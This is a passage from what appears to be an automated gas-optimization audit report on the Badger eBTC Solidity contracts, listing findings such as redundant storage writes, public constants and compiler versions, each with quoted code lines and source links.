926                _cdpId,
927                _borrower,
928                msg.sender,
929                0,
930                0,
931                _debt,
932                _coll,
933                stake,
934                CdpOperation.openCdp
935            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L925-L935

File: contracts/CdpManager.sol

961    emit CdpUpdated(
962                _cdpId,
963                _borrower,
964                msg.sender,
965                _debt,
966                _coll,
967                _newDebt,
968                _newColl,
969                stake,
970                CdpOperation.adjustCdp
971            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L961-L971

File: contracts/CdpManagerStorage.sol

119    emit GracePeriodDurationSet(_gracePeriod)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L119

File: contracts/CollSurplusPool.sol

83    emit SurplusCollSharesUpdated(_account, newAmount)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L83

File: contracts/CollSurplusPool.sol

104    emit CollSharesTransferred(_account, claimableColl)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L104

File: contracts/CollSurplusPool.sol

95    emit SurplusCollSharesUpdated(_account, 0)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L95

File: contracts/CollSurplusPool.sol

150    emit SweepTokenSuccess(token, amount, feeRecipientAddress)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L150

File: contracts/EBTCToken.sol

267    emit Transfer(address(0), account, amount)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L267

File: contracts/EBTCToken.sol

282    emit Transfer(account, address(0), amount)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L282

File: contracts/EBTCToken.sol

259    emit Transfer(sender, recipient, amount)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L259

File: contracts/EBTCToken.sol

290    emit Approval(owner, spender, amount)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L290

File: contracts/Governor.sol

157    emit RoleNameSet(role, roleName)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L157

File: contracts/LeverageMacroFactory.sol

56    emit DeployNewMacro(_owner, addy)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L56

File: contracts/LiquidationLibrary.sol

238    emit CdpUpdated(
239                _liqState.cdpId,
240                _borrower,
241                msg.sender,
242                _totalDebtToBurn,
243                _totalColToSend,
244                0,
245                0,
246                0,
247                CdpOperation.liquidateInNormalMode
248            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L238-L248

File: contracts/LiquidationLibrary.sol

516    emit Liquidation(totalDebtToBurn, totalCollSharesToSend, totalLiquidatorRewardCollShares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L516

File: contracts/LiquidationLibrary.sol

490    emit CdpUpdated(
491                _cdpId,
492                sortedCdps.getOwnerAddress(_cdpId),
493                msg.sender,
494                _oldDebt,
495                _oldColl,
496                Cdps[_cdpId].debt,
497                Cdps[_cdpId].coll,
498                Cdps[_cdpId].stake,
499                CdpOperation.partiallyLiquidate
500            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L490-L500

File: contracts/LiquidationLibrary.sol

367    emit CdpLiquidated(
368                _recoveryState.cdpId,
369                _borrower,
370                _totalDebtToBurn,
371                // please note this is the collateral share of the liquidated CDP
372                _cappedColPortion,
373                CdpOperation.liquidateInRecoveryMode,
374                msg.sender,
375                _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
376            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L367-L376

File: contracts/LiquidationLibrary.sol

891    emit SystemDebtRedistributionIndexUpdated(systemDebtRedistributionIndex)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L891

File: contracts/LiquidationLibrary.sol

281    emit CdpLiquidated(
282                _liqState.cdpId,
283                _borrower,
284                _totalDebtToBurn,
285                // please note this is the collateral share of the liquidated CDP
286                _cappedColPortion,
287                CdpOperation.liquidateInNormalMode,
288                msg.sender,
289                _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
290            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L281-L290

File: contracts/LiquidationLibrary.sol

312    emit CdpUpdated(
313                _recoveryState.cdpId,
314                _borrower,
315                msg.sender,
316                _totalDebtToBurn,
317                _totalColToSend,
318                0,
319                0,
320                0,
321                CdpOperation.liquidateInRecoveryMode
322            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L312-L322

File: contracts/LiquidationLibrary.sol

437    emit CdpPartiallyLiquidated(
438                    _cdpId,
439                    sortedCdps.getOwnerAddress(_cdpId),
440                    _partialDebt,
441                    _partialColl,
442                    CdpOperation.partiallyLiquidate,
443                    msg.sender,
444                    _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
445                )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L437-L445

File: contracts/PriceFeed.sol

555    emit LastGoodPriceUpdated(_currentPrice)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L555

File: contracts/PriceFeed.sol

67    emit FallbackCallerChanged(address(0), _fallbackCallerAddress)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L67

File: contracts/PriceFeed.sol

548    emit PriceFeedStatusChanged(_status)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L548

File: contracts/PriceFeed.sol

378    emit FallbackCallerChanged(oldFallbackCaller, _fallbackCaller)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L378

File: contracts/PriceFeed.sol

381    emit UnhealthyFallbackCaller(_fallbackCaller, block.timestamp)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L381

File: contracts/PriceFeed.sol

387    emit FallbackCallerChanged(oldFallbackCaller, _fallbackCaller)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L387

File: contracts/SortedCdps.sol

405    emit NodeAdded(_id, _NICR)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L405

File: contracts/SortedCdps.sol

490    emit NodeRemoved(_id)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L490

File: contracts/SortedCdps.sol

451    emit NodeRemoved(_ids[i])

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L451

[G-03] Avoid unnecessary storage updates

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 4000

Description

Avoid updating storage when the value hasn’t changed. If the old value is equal to the new value, not re-storing the value will avoid a SSTORE operation (costing 2900 gas), potentially at the expense of a SLOAD operation (2100 gas) or a WARMACCESS operation (100 gas).

There are 5 instances of this issue:

The function setBeta() changes the state variable without first verifying if the values are different.

File: contracts/CdpManager.sol

835    beta = _beta

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L835

The function setFlashLoansPaused() changes the state variable without first verifying if the values are different.

File: contracts/ActivePool.sol

420    flashLoansPaused = _paused

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L420

The function setFlashLoansPaused() changes the state variable without first verifying if the values are different.

File: contracts/BorrowerOperations.sol

1170    flashLoansPaused = _paused

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1170

The function setRedemptionsPaused() changes the state variable without first verifying if the values are different.

File: contracts/CdpManager.sol

847    redemptionsPaused = _paused

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L847

The function setRoleName() changes the state variable without first verifying if the values are different.

File: contracts/Governor.sol

155    roleNames[role] = roleName

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L155

[G-04] Multiplication and Division by 2 Should use in Bit Shifting

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 20

Description

The expressions x * 2 and x / 2 can be optimized for gas efficiency by utilizing bitwise operations. In Solidity, you can achieve the same results by using bitwise left shift (x << 1) for multiplication and bitwise right shift (x >> 1) for division.

Using bitwise shift operations (SHL and SHR) instead of multiplication (MUL) and division (DIV) opcodes can lead to significant gas savings. The MUL and DIV opcodes cost 5 gas, while the SHL and SHR opcodes incur a lower cost of only 3 gas.

By leveraging these more efficient bitwise operations, you can reduce the gas consumption of your smart contracts and enhance their overall performance.

There are 1 instances of this issue:

File: contracts/PriceFeed.sol

800    return
801                (_scaledDecimal *
802                    uint256(_ethBtcAnswer) *
803                    uint256(_stEthEthAnswer) *
804                    EbtcMath.DECIMAL_PRECISION) / 10 ** (_decimalDenominator * 2)

instead 2 use bit shifting 1

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L800-L804

[G-05] Using bools for storage incurs overhead

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 34200

Description

Booleans are more expensive than uint256 or any type that takes up a full word because each write operation emits an extra SLOAD to first read the slot’s contents, replace the bits taken up by the boolean, and then write back. This is the compiler’s defense against contract upgrades and pointer aliasing, and it cannot be disabled.

There are 2 instances of this issue:

File: contracts/CdpManagerStorage.sol

143    bool public redemptionsPaused

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L143

File: contracts/LeverageMacroBase.sol

35    bool internal immutable willSweep

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L35

[G-06] Optimizing Small Data Storage with Bytes32

  • Severity: Gas Optimization
  • Confidence: Medium
  • Total Gas Saved: 4158

Description

This detector flags contracts that inefficiently use bytes and strings for small data that could fit into bytes32. Using bytes32 is cheaper in Solidity when the data can fit into 32 bytes.

There are 11 instances of this issue:

File: contracts/ActivePool.sol

24    string public constant NAME = "ActivePool"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L24

File: contracts/BorrowerOperations.sol

29    string public constant NAME = "BorrowerOperations"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L29

File: contracts/BorrowerOperations.sol

41    string internal constant _VERSION = "1"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L41

File: contracts/CdpManagerStorage.sol

122    string public constant NAME = "CdpManager"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L122

File: contracts/CollSurplusPool.sol

19    string public constant NAME = "CollSurplusPool"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L19

File: contracts/EBTCToken.sol

28    string internal constant _NAME = "EBTC Stablecoin"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L28

File: contracts/EBTCToken.sol

29    string internal constant _SYMBOL = "EBTC"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L29

File: contracts/EBTCToken.sol

30    string internal constant _VERSION = "1"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L30

File: contracts/HintHelpers.sol

12    string public constant NAME = "HintHelpers"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L12

File: contracts/PriceFeed.sol

22    string public constant NAME = "PriceFeed"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L22

File: contracts/SortedCdps.sol

52    string public constant NAME = "SortedCdps"

should be convert to bytes32 https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L52

[G-07] Check Arguments Early

  • Severity: Gas Optimization
  • Confidence: High

Description

Checks that require() or revert() statements that check input arguments are at the top of the function. Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a gas load in a function that may ultimately revert in the unhappy case.

There are 4 instances of this issue:

File: contracts/ActivePool.sol

374    require(token != address(collateral), "ActivePool: Cannot Sweep Collateral")

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L374

File: contracts/ActivePool.sol

393    require(
394                _feeRecipientAddress != address(0),
395                "ActivePool: Cannot set fee recipient to zero address"
396            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L393-L396

File: contracts/ActivePool.sol

407    require(_newFee <= MAX_FEE_BPS, "ERC3156FlashLender: _newFee should <= MAX_FEE_BPS")

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L407

File: contracts/SortedCdps.sol

508    require(_newNICR > 0, "SortedCdps: NICR must be positive")

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L508

[G-08] Division operations between unsigned could be unchecked

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 255

Description

Division operations on unsigned integers should be unchecked to save gas since they cannot overflow or underflow. Because unsigned integers cannot have negative values, execution of division operations outside unchecked blocks adds nothing but overhead. Saves about 85 gas.

There are 3 instances of this issue:

File: contracts/CdpManagerStorage.sol

567    uint256 _deltaFeePerUnit = _deltaFeeSplitShare / _cachedAllStakes

Should be unchecked - _deltaFeeSplitShare / _cachedAllStakes. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L567

File: contracts/CdpManager.sol

624    uint256 newBaseRate = decayedBaseRate + (redeemedEBTCFraction / beta)

Should be unchecked - redeemedEBTCFraction / beta. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L624

File: contracts/LiquidationLibrary.sol

882    uint256 EBTCDebtRewardPerUnitStaked = EBTCDebtNumerator / \_totalStakes

Should be unchecked - EBTCDebtNumerator / _totalStakes. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L882

[G-09] Modulus operations that could be unchecked

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 85

Description

Modulus operations should be unchecked to save gas since they cannot overflow or underflow. Execution of modulus operations outside unchecked blocks adds nothing but overhead. Saves about 30 gas.

There are 1 instances of this issue:

File: contracts/HintHelpers.sol

184    latestRandomSeed % arrayLength

should be unchecked

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L184

[G-10] Potential Optimization by Combining Multiple Mappings into a Struct

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 1000

Description

This detector identifies instances where multiple mappings of an address or ID could be combined into a single mapping to a struct. This optimisation not only saves a storage slot for each mapping that is combined, but also makes the contract more efficient in terms of gas usage. Depending on the circumstances and sizes of types, it can avoid a 20000 gas cost (Gsset) per combined mapping. Also, it can make reads and subsequent writes cheaper when a function requires both values and they both fit in the same storage slot. Lastly, if both fields are accessed in the same function, it can save approximately 42 gas per access due to not having to recalculate the key’s keccak256 hash and its associated stack operations.

There are 2 instances of this issue:

File: contracts/CdpManagerStorage.sol

168    mapping(bytes32 => Cdp) public Cdps

Consider to combine with
- Line: 190 mapping(bytes32 => uint256) public cdpDebtRedistributionIndex
- Line: 202 mapping(bytes32 => uint256) public cdpStEthFeePerUnitIndex
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L168

File: contracts/EBTCToken.sol

51    mapping(address => uint256) private _balances

Consider to combine with
- Line: 52 mapping(address => mapping(address => uint256)) private _allowances
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L51

[G-11] Constants Variable Should Be Private for Gas Optimization

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 61200

Description

This detector flags contracts that inefficiently use public for constant variables. Using private for constant variables is cheaper in terms of gas usage. If the value of the constant variable is needed, it can be accessed via a getter function. In case of multiple constant variables, a single getter function could be used to return a tuple of the values of all currently-private constants.

There are 18 instances of this issue:

File: contracts/ActivePool.sol

24    string public constant NAME = "ActivePool"

NAME is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L24

File: contracts/BorrowerOperations.sol

29    string public constant NAME = "BorrowerOperations"

NAME is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L29

File: contracts/CdpManagerStorage.sol

21    uint128 public constant UNSET_TIMESTAMP = type(uint128).max

UNSET_TIMESTAMP is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L21

File: contracts/CdpManagerStorage.sol

22    uint128 public constant MINIMUM_GRACE_PERIOD = 15 minutes

MINIMUM_GRACE_PERIOD is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L22

File: contracts/CdpManagerStorage.sol

122    string public constant NAME = "CdpManager"

NAME is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L122

File: contracts/CdpManagerStorage.sol

139    uint256 public constant SECONDS_IN_ONE_MINUTE = 60

SECONDS_IN_ONE_MINUTE is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L139

File: contracts/CdpManagerStorage.sol

141    uint256 public constant MIN_REDEMPTION_FEE_FLOOR = (DECIMAL_PRECISION * 5) / 1000

MIN_REDEMPTION_FEE_FLOOR is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L141

File: contracts/CdpManagerStorage.sol

149    uint256 public constant MIN_MINUTE_DECAY_FACTOR = 1

MIN_MINUTE_DECAY_FACTOR is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L149

File: contracts/CdpManagerStorage.sol

150    uint256 public constant MAX_MINUTE_DECAY_FACTOR = 999999999999999999

MAX_MINUTE_DECAY_FACTOR is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L150

File: contracts/CollSurplusPool.sol

19    string public constant NAME = "CollSurplusPool"

NAME is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L19

File: contracts/HintHelpers.sol

12    string public constant NAME = "HintHelpers"

NAME is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L12

File: contracts/PriceFeed.sol

22    string public constant NAME = "PriceFeed"

NAME is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L22

File: contracts/PriceFeed.sol

32    uint256 public constant TIMEOUT_ETH_BTC_FEED = 4800

TIMEOUT_ETH_BTC_FEED is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L32

File: contracts/PriceFeed.sol

33    uint256 public constant TIMEOUT_STETH_ETH_FEED = 90000

TIMEOUT_STETH_ETH_FEED is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L33

File: contracts/PriceFeed.sol

36    uint256 public constant MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND = 5e17

MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L36

File: contracts/PriceFeed.sol

42    uint256 public constant MAX_PRICE_DIFFERENCE_BETWEEN_ORACLES = 5e16

MAX_PRICE_DIFFERENCE_BETWEEN_ORACLES is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L42

File: contracts/SortedCdps.sol

52    string public constant NAME = "SortedCdps"

NAME is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L52

File: contracts/SortedCdps.sol

80    bytes32 public constant dummyId =
81            0x0000000000000000000000000000000000000000000000000000000000000000

dummyId is a public. Consider making it private to save gas.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L80-L81

[G-12] State variables that could be declared constant

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 20970

Description

State variables that are not updated following deployment should be declared constant to save gas.

There are 10 instances of this issue:

File: contracts/CdpManagerStorage.sol

161    uint256 public baseRate

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L161

File: contracts/CdpManagerStorage.sol

159    uint256 public beta = 2

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L159

File: contracts/CdpManagerStorage.sol

193    uint256 public lastEBTCDebtErrorRedistribution

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L193

File: contracts/CdpManagerStorage.sol

166    uint256 public lastRedemptionTimestamp

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L166

File: contracts/CdpManagerStorage.sol

148    uint256 public minuteDecayFactor = 999037758833783000

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L148

File: contracts/CdpManagerStorage.sol

142    uint256 public redemptionFeeFloor = MIN_REDEMPTION_FEE_FLOOR

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L142

File: contracts/CdpManagerStorage.sol

143    bool public redemptionsPaused

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L143

File: contracts/CdpManagerStorage.sol

163    uint256 public stakingRewardSplit

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L163

File: contracts/CdpManagerStorage.sol

187    uint256 public systemDebtRedistributionIndex

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L187

File: contracts/Governor.sol

17    bytes32 NO_ROLES = bytes32(0)

should be constant

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L17

[G-13] Use of emit inside a loop

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 5130

Description

Emitting an event inside a loop performs a LOG op N times, where N is the loop length. This can lead to significant gas costs.

There are 5 instances of this issue:

File: contracts/CdpManagerStorage.sol

300    emit SystemSnapshotsUpdated(_totalStakesSnapshot, _totalCollateralSnapshot)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L300

File: contracts/CdpManager.sol

220    emit CdpUpdated(
221                    _redeemColFromCdp.cdpId,
222                    ISortedCdps(sortedCdps).getOwnerAddress(_redeemColFromCdp.cdpId),
223                    msg.sender,
224                    _oldDebtAndColl.debt,
225                    _oldDebtAndColl.collShares,
226                    newDebt,
227                    newColl,
228                    Cdps[_redeemColFromCdp.cdpId].stake,
229                    CdpOperation.redeemCollateral
230                )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L220-L230

File: contracts/LiquidationLibrary.sol

312    emit CdpUpdated(
313                _recoveryState.cdpId,
314                _borrower,
315                msg.sender,
316                _totalDebtToBurn,
317                _totalColToSend,
318                0,
319                0,
320                0,
321                CdpOperation.liquidateInRecoveryMode
322            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L312-L322

File: contracts/LiquidationLibrary.sol

281    emit CdpLiquidated(
282                _liqState.cdpId,
283                _borrower,
284                _totalDebtToBurn,
285                // please note this is the collateral share of the liquidated CDP
286                _cappedColPortion,
287                CdpOperation.liquidateInNormalMode,
288                msg.sender,
289                _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
290            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L281-L290

File: contracts/SortedCdps.sol

451    emit NodeRemoved(_ids[i])

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L451

[G-14] Empty Block

  • Severity: Gas Optimization
  • Confidence: High

Description

The code should be refactored such that they no longer exist, or the block should do something useful, such as emitting an event or reverting. If the contract is meant to be extended, the contract should be abstract and the function signatures be added without any default implementation. If the block is an empty if-statement block to avoid doing subsequent checks in the else-if/else conditions, the else-if/else conditions should be nested under the negation of the if-statement, because they involve different classes of checks, which may lead to the introduction of errors when the code is later modified.

There are 2 instances of this issue:

File: contracts/PriceFeed.sol

588    try fallbackCaller.getFallbackResponse() returns (
589                    uint256 answer,
590                    uint256 timestampRetrieved,
591                    bool success
592                ) {
593                    fallbackResponse.answer = answer;
594                    fallbackResponse.timestamp = timestampRetrieved;
595                    fallbackResponse.success = success;
596                } catch {
597                    // If call to Fallback reverts, return a zero response with success = false
598                }

contains an empty block. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L588-L598

File: contracts/PriceFeed.sol

587    if (address(fallbackCaller) != address(0)) {
588                try fallbackCaller.getFallbackResponse() returns (
589                    uint256 answer,
590                    uint256 timestampRetrieved,
591                    bool success
592                ) {
593                    fallbackResponse.answer = answer;
594                    fallbackResponse.timestamp = timestampRetrieved;
595                    fallbackResponse.success = success;
596                } catch {
597                    // If call to Fallback reverts, return a zero response with success = false
598                }
599            }

contains an empty block. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L587-L599

[G-15] Identical Deployments Should be Replaced with Clone

  • Severity: Gas Optimization
  • Confidence: High

Description

Detects instances where the same contract is deployed multiple times. Such cases might benefit from the clone factory pattern (EIP-1167), which can significantly reduce deployment gas costs.

There are 1 instances of this issue:

- LeverageMacroReference is deployed in multiple functions:
File: contracts/LeverageMacroFactory.sol

44    address addy = address(
45                new LeverageMacroReference(
46                    borrowerOperations,
47                    activePool,
48                    cdpManager,
49                    ebtcToken,
50                    stETH,
51                    sortedCdps,
52                    _owner
53                )
54            )
File: contracts/LeverageMacroFactory.sol

44    address addy = address(
45                new LeverageMacroReference(
46                    borrowerOperations,
47                    activePool,
48                    cdpManager,
49                    ebtcToken,
50                    stETH,
51                    sortedCdps,
52                    _owner
53                )
54            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L44-L54

[G-16] Use a More Recent Version of Solidity

  • Severity: Gas Optimization
  • Confidence: High

Description

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. Addition new version gain some gas boost. We also recommend avoiding complex pragma statement.

There are 34 instances of this issue:

File: contracts/ActivePool.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L3

File: contracts/BorrowerOperations.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L3

File: contracts/CdpManager.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L3

File: contracts/CdpManagerStorage.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L3

File: contracts/CollSurplusPool.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L3

File: contracts/EBTCToken.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L3

File: contracts/Governor.sol

2    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L2

File: contracts/HintHelpers.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L3

File: contracts/Interfaces/IActivePool.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IActivePool.sol#L3

File: contracts/Interfaces/IBorrowerOperations.sol

